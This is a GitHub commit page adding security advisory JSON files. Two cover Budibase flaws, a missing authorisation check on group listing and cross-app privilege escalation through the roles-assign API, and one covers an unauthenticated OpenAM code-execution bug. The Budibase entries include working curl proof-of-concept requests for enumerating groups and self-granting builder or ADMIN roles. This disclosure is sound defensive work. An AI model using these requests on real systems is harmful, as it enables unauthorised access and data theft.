Skip to content

Commit 959dc0e

Browse files
advisory-database[bot]advisory-database[bot]
committed
Publish Advisories
GHSA-4qcj-m5wp-jmf4 GHSA-j9fc-w3mr-x6mv GHSA-wg5r-wc3x-39vc GHSA-wx67-qw84-cm4g
1 parent 2cbb9bb commit 959dc0e

4 files changed

Lines changed: 392 additions & 0 deletions

File tree

‎advisories/github-reviewed/2026/07/GHSA-4qcj-m5wp-jmf4/GHSA-4qcj-m5wp-jmf4.json‎

Lines changed: 67 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,67 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-4qcj-m5wp-jmf4",
4+
"modified": "2026-07-24T21:13:07Z",
5+
"published": "2026-07-24T21:13:07Z",
6+
"aliases": [],
7+
"summary": " Budibase: Missing RBAC on GET /api/global/groups allows BASIC users to enumerate all tenant groups and role mappings",
8+
"details": "## Summary\n\nThe `GET /api/global/groups` endpoint on the worker service has no role-based authorization middleware. Any authenticated user (including BASIC role) can enumerate all user groups in the tenant, including their role mappings, user memberships, builder permissions, and the isDefault flag.\n\n## Steps to Reproduce\n\n### 1. Start Budibase\n\n```bash\ndocker run -d --name budibase-poc -p 10000:80 \\\n -e MINIO_ACCESS_KEY=minio_access -e MINIO_SECRET_KEY=minio_secret \\\n -e INTERNAL_API_KEY=internal_api_key -e JWT_SECRET=jwt_secret_test \\\n -e API_ENCRYPTION_KEY=api_enc_key_test123456 \\\n -e BB_ADMIN_USER_EMAIL=admin@test.com \\\n -e BB_ADMIN_USER_PASSWORD=TestPassword123! \\\n budibase/budibase:latest\n\nuntil curl -sf http://localhost:10000/health; do sleep 5; done\n```\n\n### 2. Login as admin, create a user group, create a BASIC user\n\n```bash\n# Login as admin\ncurl -s -c /tmp/bb_admin.txt -X POST http://localhost:10000/api/global/auth/default/login \\\n -H \"Content-Type: application/json\" \\\n -d '{\"username\":\"admin@test.com\",\"password\":\"TestPassword123!\"}'\n\n# Create a user group (requires license with user groups feature, or use Budibase Cloud)\n# On self-hosted without license, groups may not be available\n# If available:\ncurl -s -b /tmp/bb_admin.txt -X POST http://localhost:10000/api/global/groups \\\n -H \"Content-Type: application/json\" \\\n -d '{\"name\":\"Secret Admin Group\",\"color\":\"#ff0000\",\"icon\":\"AdminPanelSettingsIcon\",\"roles\":{\"app_abc123\":\"ADMIN\"}}'\n\n# Create a BASIC user (no builder, no admin)\ncurl -s -b /tmp/bb_admin.txt -X POST http://localhost:10000/api/global/users \\\n -H \"Content-Type: application/json\" \\\n -d '{\"email\":\"basic@test.com\",\"password\":\"BasicPass123!\",\"roles\":{},\"admin\":{\"global\":false},\"builder\":{\"global\":false}}'\n```\n\n### 3. Login as BASIC user and enumerate all groups (the vulnerability)\n\n```bash\n# Login as BASIC user\ncurl -s -c /tmp/bb_basic.txt -X POST http://localhost:10000/api/global/auth/default/login \\\n -H \"Content-Type: application/json\" \\\n -d '{\"username\":\"basic@test.com\",\"password\":\"BasicPass123!\"}'\n\n# List ALL groups (should return 403, but returns 200 with full data)\ncurl -s -b /tmp/bb_basic.txt http://localhost:10000/api/global/groups\n```\n\n**Expected:** 403 Forbidden (consistent with `GET /api/global/groups/:id` which requires `builderOrAdmin`)\n\n**Actual:** 200 OK with full group data including role mappings, member lists, and builder flags.\n\n### Standalone verification (code review)\n\n```bash\n# In the budibase source tree:\ngrep -A2 'global/groups\"' packages/worker/src/api/routes/global/groups.ts\n```\n\nOutput shows the list endpoint has NO auth middleware:\n```\n .get(\"/api/global/groups\", # <-- NO auth.builderOrAdmin\n requireFeature(Feature.USER_GROUPS),\n controller.fetch\n```\n\nCompare with the single-group endpoint directly below:\n```\n .get(\"/api/global/groups/:groupId\", # <-- HAS auth.builderOrAdmin\n auth.builderOrAdmin,\n requireFeature(Feature.USER_GROUPS),\n controller.getById\n```\n\n## Root Cause\n\nFile: `packages/worker/src/api/routes/global/groups.ts`, lines 40-44\n\nThe list endpoint is the ONLY group endpoint without RBAC:\n\n| Endpoint | Auth Middleware |\n|----------|---------------|\n| `POST /api/global/groups` | `auth.adminOnly` |\n| `DELETE /api/global/groups/:id/:rev` | `auth.adminOnly` |\n| `GET /api/global/groups/:id` | `auth.builderOrAdmin` |\n| `GET /api/global/groups/:id/users` | `auth.builderOrAdmin` |\n| **`GET /api/global/groups`** | **NONE** |\n\n## Impact\n\nA BASIC-role user can enumerate: all group names/colors/icons, which apps each group accesses and at what role level, user membership lists (user IDs), builder permission flags, and the isDefault flag. This exposes organizational access control structure and aids reconnaissance for privilege escalation.\n\n## Suggested Fix\n\n```diff\n router.get(\"/api/global/groups\",\n+ auth.builderOrAdmin,\n requireFeature(Feature.USER_GROUPS),\n controller.fetch\n )\n```",
9+
"severity": [
10+
{
11+
"type": "CVSS_V3",
12+
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N"
13+
}
14+
],
15+
"affected": [
16+
{
17+
"package": {
18+
"ecosystem": "npm",
19+
"name": "@budibase/server"
20+
},
21+
"ranges": [
22+
{
23+
"type": "ECOSYSTEM",
24+
"events": [
25+
{
26+
"introduced": "0"
27+
},
28+
{
29+
"last_affected": "3.38.1"
30+
}
31+
]
32+
}
33+
]
34+
}
35+
],
36+
"references": [
37+
{
38+
"type": "WEB",
39+
"url": "https://github.com/Budibase/budibase/security/advisories/GHSA-4qcj-m5wp-jmf4"
40+
},
41+
{
42+
"type": "WEB",
43+
"url": "https://github.com/Budibase/budibase/pull/19109"
44+
},
45+
{
46+
"type": "WEB",
47+
"url": "https://github.com/Budibase/budibase/commit/93db77846e68231ba655f180581c94503985421a"
48+
},
49+
{
50+
"type": "PACKAGE",
51+
"url": "https://github.com/Budibase/budibase"
52+
},
53+
{
54+
"type": "WEB",
55+
"url": "https://github.com/Budibase/budibase/releases/tag/3.39.25"
56+
}
57+
],
58+
"database_specific": {
59+
"cwe_ids": [
60+
"CWE-862"
61+
],
62+
"severity": "MODERATE",
63+
"github_reviewed": true,
64+
"github_reviewed_at": "2026-07-24T21:13:07Z",
65+
"nvd_published_at": null
66+
}
67+
}

‎advisories/github-reviewed/2026/07/GHSA-j9fc-w3mr-x6mv/GHSA-j9fc-w3mr-x6mv.json‎

Lines changed: 61 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,61 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-j9fc-w3mr-x6mv",
4+
"modified": "2026-07-24T21:12:40Z",
5+
"published": "2026-07-24T21:12:40Z",
6+
"aliases": [],
7+
"summary": " Budibase: Privilege escalation via public role assignment API missing app-level authorization",
8+
"details": "### Summary\n\nBudibase `3.39.19` (commit `03fbabae4`) is affected by a privilege-escalation / missing-authorization flaw in the public role-assignment API. An **app-scoped builder** (a user who builds only specific apps — `user.builder.apps = [appA]`, not a global builder or admin) can grant **themselves builder access to ANY other app in the tenant**, or assign themselves/any user an arbitrary data-plane role (e.g. `ADMIN`) in any app, by calling `POST /api/public/v1/roles/assign`. The endpoint only authorizes the two *global* flags (`admin`, `builder`); the per-app `appBuilder` and `role:{appId,roleId}` grant vectors are passed to the backend **without any authorization check that the caller controls the target app**. Reproduced in a local authorized lab using the verbatim authorization-gate and SDK logic.\n\nThis is an incomplete fix of the role-assignment hardening in commit `d63d1d9054` (\"Inline public user global role validation\"), which only ever validated the global flags.\n\n### Details\n\nThe issue is caused by authorization being implemented as a **flag-level allowlist** (`admin`/`builder`) instead of validating the *scope* the caller is granting.\n\nRelevant code paths:\n\n- `packages/server/src/api/controllers/public/globalRoleValidation.ts` — `validateGlobalRoleUpdate(ctx, roleUpdate)` only checks `roleUpdate.admin` (requires `isAdmin`) and `roleUpdate.builder` (requires `isGlobalBuilder`). The `GlobalRoleUpdate` interface declares only `{ builder?, admin? }`; `appBuilder` and `role` are not referenced.\n- `packages/server/src/api/controllers/public/roles.ts` — `assign()` does `const { userIds, ...assignmentProps } = ctx.request.body; validateGlobalRoleUpdate(ctx, assignmentProps); await sdk.publicApi.roles.assign(userIds, assignmentProps)`. The `appBuilder`/`role` props pass through unvalidated.\n- `packages/pro/src/sdk/publicApi/roles.ts` — `assign()`: for `opts.appBuilder` it sets `user.builder = { apps: existing.concat([getProdWorkspaceID(opts.appBuilder.appId)]) }`; for `opts.role` it sets `user.roles[getProdWorkspaceID(opts.role.appId)] = opts.role.roleId`. No check that the caller builds the target app, and `userIds` is an arbitrary list (`bulkGet`). The only gate is the `isExpandedPublicApiEnabled()` license check.\n- `packages/server/src/api/routes/public/index.ts` — `applyAdminRoutes(roleEndpoints)` attaches **only** `middleware.builderOrAdmin` (no `publicApi`, no `authorized(PermissionType.USER, …)`).\n- `packages/backend-core/src/middleware/builderOrAdmin.ts` — with a `workspaceId` present, it only requires `isBuilder(ctx.user, workspaceId)`. The attacker sets `x-budibase-app-id` to **their own** app (appA), so the gate passes.\n- `packages/backend-core/src/middleware/builderOnly.ts` — on the worker, `POST /api/global/self/api_key` only requires `hasBuilderPermissions(ctx.user)`, which is true for app-scoped builders, so the attacker can self-issue a public API key.\n- `packages/shared-core/src/sdk/documents/users.ts` — `isGlobalBuilder` is false for app-scoped builders (so the global `builder` flag is correctly blocked), while `isBuilder(user, appA)` and `hasBuilderPermissions(user)` are true.\n\nAttack flow:\n\n1. Attacker is an app-scoped builder of `appA` only (no global builder/admin).\n2. `POST /api/global/self/api_key` (worker) — passes `builderOnly` via `hasBuilderPermissions` → attacker obtains a public API key.\n3. `POST /api/public/v1/roles/assign` with header `x-budibase-app-id: <appA prod id>` and body `{\"userIds\":[\"<self>\"],\"appBuilder\":{\"appId\":\"<appB>\"}}` — `builderOrAdmin` passes (`isBuilder(user, appA)`), `validateGlobalRoleUpdate` ignores `appBuilder`, the SDK pushes `appB` into `user.builder.apps`.\n4. Attacker is now a builder of `appB` (and, via the `role` vector, can set any data-role such as `ADMIN` in any app).\n\nSecurity boundary crossed:\n\n- **Before:** builder of `appA` only.\n- **After:** builder of `appB` (and any other app) → read/modify all rows, read datasource configs and exfiltrate stored datasource credentials, edit automations (including the `bash`/`executeScript`/`executeQuery` steps); plus arbitrary data-role assignment in any app.\n- **Why disallowed:** the per-app builder model is meant to isolate builders to their assigned apps; a builder of one app must not gain authority over apps they were never granted.\n\n### PoC\n\nEnvironment:\n\n- Budibase version: `3.39.19`, commit `03fbabae4`\n- Deployment: Business/Enterprise license required (`isExpandedPublicApiEnabled`)\n- Attacker role: app-scoped builder (`user.builder.apps=[appA]`), not global builder/admin\n- Mock services: none needed for the unit-level proof; HTTP PoC script provided for a licensed lab\n\nSteps (unit-level proof, no license needed — verbatim auth-gate + SDK logic):\n\n1. Run the verification harness:\n\n```bash\ncd D:/CVE-Hunting/budibase-audit-output/lab\nnode harness/verify-privesc-authz.cjs\n```\n\n2. Observed result (evidence: `evidence/lab-privesc-authz.log`):\n\n```text\n[PASS-VALIDATION] appBuilder:{appId:APP_B} -> NOT rejected\n[PASS-VALIDATION] role:{appId:APP_B, roleId:'ADMIN'}-> NOT rejected\n[BLOCKED 403] builder:true (global) -> Only global builders or admins ...\n[BLOCKED 403] admin:true (global) -> Only global admins ...\nafter : builder={\"apps\":[\"app_A...\",\"app_B...\"]} roles={\"app_B...\":\"ADMIN\"}\nisBuilder(attacker, APP_B) now = true <-- escalated to builder of APP_B\n```\n\nSteps (HTTP PoC for a licensed lab — `poc/privesc-roles-assign.sh`):\n\n```bash\n# 1) self-issue API key\ncurl -X POST http://localhost:10000/api/global/self/api_key -H \"Cookie: <attacker session>\" -d '{}'\n# 2) escalate: grant self builder of appB\ncurl -X POST http://localhost:10000/api/public/v1/roles/assign \\\n -H \"x-budibase-api-key: <KEY>\" -H \"x-budibase-app-id: <appA prod id>\" \\\n -H \"content-type: application/json\" \\\n -d '{\"userIds\":[\"<self global id>\"],\"appBuilder\":{\"appId\":\"<appB>\"}}'\n```\n\n3. Expected result:\n\n```text\nThe request should be rejected (403) — an app-scoped builder must not be able to grant\nitself builder/role access to an app it does not control. Instead it returns 200 and the\ngrant is applied.\n```\n\nEvidence files:\n\n- `evidence/lab-privesc-authz.log`\n- `poc/verify-privesc-authz.cjs`, `poc/privesc-roles-assign.sh`\n\n**Runtime limitation:** full HTTP end-to-end requires a Business/Enterprise license (`isExpandedPublicApiEnabled`); no license was cracked. The authorization defect is proven at unit level with the verbatim validation + SDK logic, and the route→validation→SDK call chain was independently verified by source review.\n\n### Source PoC\n\n[Budibase-GHSA-Reports.zip](https://github.com/user-attachments/files/29161435/Budibase-GHSA-Reports.zip)\n\n### Impact\n\nAn attacker holding an **app-scoped builder** role on a single app in a licensed (Business/Enterprise) tenant can:\n\n* escalate to builder of **every other app** in the tenant (cross-app/workspace isolation bypass);\n* read and modify all rows in those apps;\n* read those apps' datasource configurations and **exfiltrate stored datasource credentials**;\n* edit automations in those apps, including server-side execution steps;\n* assign arbitrary data-plane roles (e.g. `ADMIN`) in any app to any user, including themselves.\n\nIt does **not** grant the global `admin`/`builder` flags (those are validated), so it is not a direct global-admin takeover; but cross-app builder is effectively a tenant-wide app/data-plane compromise. No real secrets were accessed during testing; the lab used canary-only data.",
9+
"severity": [
10+
{
11+
"type": "CVSS_V3",
12+
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"
13+
}
14+
],
15+
"affected": [
16+
{
17+
"package": {
18+
"ecosystem": "npm",
19+
"name": "@budibase/server"
20+
},
21+
"ranges": [
22+
{
23+
"type": "ECOSYSTEM",
24+
"events": [
25+
{
26+
"introduced": "0"
27+
},
28+
{
29+
"last_affected": "3.38.1"
30+
}
31+
]
32+
}
33+
]
34+
}
35+
],
36+
"references": [
37+
{
38+
"type": "WEB",
39+
"url": "https://github.com/Budibase/budibase/security/advisories/GHSA-j9fc-w3mr-x6mv"
40+
},
41+
{
42+
"type": "PACKAGE",
43+
"url": "https://github.com/Budibase/budibase"
44+
},
45+
{
46+
"type": "WEB",
47+
"url": "https://github.com/Budibase/budibase/releases/tag/3.40.0"
48+
}
49+
],
50+
"database_specific": {
51+
"cwe_ids": [
52+
"CWE-269",
53+
"CWE-862",
54+
"CWE-863"
55+
],
56+
"severity": "HIGH",
57+
"github_reviewed": true,
58+
"github_reviewed_at": "2026-07-24T21:12:40Z",
59+
"nvd_published_at": null
60+
}
61+
}

‎advisories/github-reviewed/2026/07/GHSA-wg5r-wc3x-39vc/GHSA-wg5r-wc3x-39vc.json‎

Lines changed: 69 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,69 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-wg5r-wc3x-39vc",
4+
"modified": "2026-07-24T21:11:09Z",
5+
"published": "2026-07-24T21:11:09Z",
6+
"aliases": [
7+
"CVE-2026-62379"
8+
],
9+
"summary": "OpenAM: Unauthenticated Remote Code Execution via Class.forName in AuthXMLUtils.createCustomCallback",
10+
"details": "## Summary\nA pre-authentication remote code execution vulnerability affects OpenAM. The\nremote authentication endpoint (`/authservice`, PLL) accepts an XML element\nthat names an arbitrary Java class, which the server then loads and\ninstantiates without validation. On a default configuration this is reachable\n**without authentication** and allows an attacker to run code on the server.\n\n## Impact\nUnauthenticated remote code execution / full server compromise on any OpenAM\ninstance with default settings.\n\n## Affected\nAll releases up to and including 16.1.1 (the defect predates the Open Identity\nPlatform fork).\n\n## Remediation\nUpgrade to `16.1.2`.\n\n## Interim mitigation\n- Require the remote-auth security token by enabling\n `sunRemoteAuthSecurityEnabled` (rejects unauthenticated `/authservice` calls).\n- Restrict or block external network access to `/authservice` until patched.\n\n## Credit\nVulnerability discovered by Zhixi \"Jace\" Sun of ASM/VI at TikTok.",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "Maven",
21+
"name": "org.openidentityplatform.openam:openam-core"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "16.1.2"
32+
}
33+
]
34+
}
35+
],
36+
"database_specific": {
37+
"last_known_affected_version_range": "<= 16.1.1"
38+
}
39+
}
40+
],
41+
"references": [
42+
{
43+
"type": "WEB",
44+
"url": "https://github.com/OpenIdentityPlatform/OpenAM/security/advisories/GHSA-wg5r-wc3x-39vc"
45+
},
46+
{
47+
"type": "WEB",
48+
"url": "https://github.com/OpenIdentityPlatform/OpenAM/commit/edcf968cad91a78b932dba4ad559ef94cbf35f5a"
49+
},
50+
{
51+
"type": "PACKAGE",
52+
"url": "https://github.com/OpenIdentityPlatform/OpenAM"
53+
},
54+
{
55+
"type": "WEB",
56+
"url": "https://github.com/OpenIdentityPlatform/OpenAM/releases/tag/16.1.2"
57+
}
58+
],
59+
"database_specific": {
60+
"cwe_ids": [
61+
"CWE-470",
62+
"CWE-94"
63+
],
64+
"severity": "CRITICAL",
65+
"github_reviewed": true,
66+
"github_reviewed_at": "2026-07-24T21:11:09Z",
67+
"nvd_published_at": null
68+
}
69+
}

0 commit comments

Comments
 (0)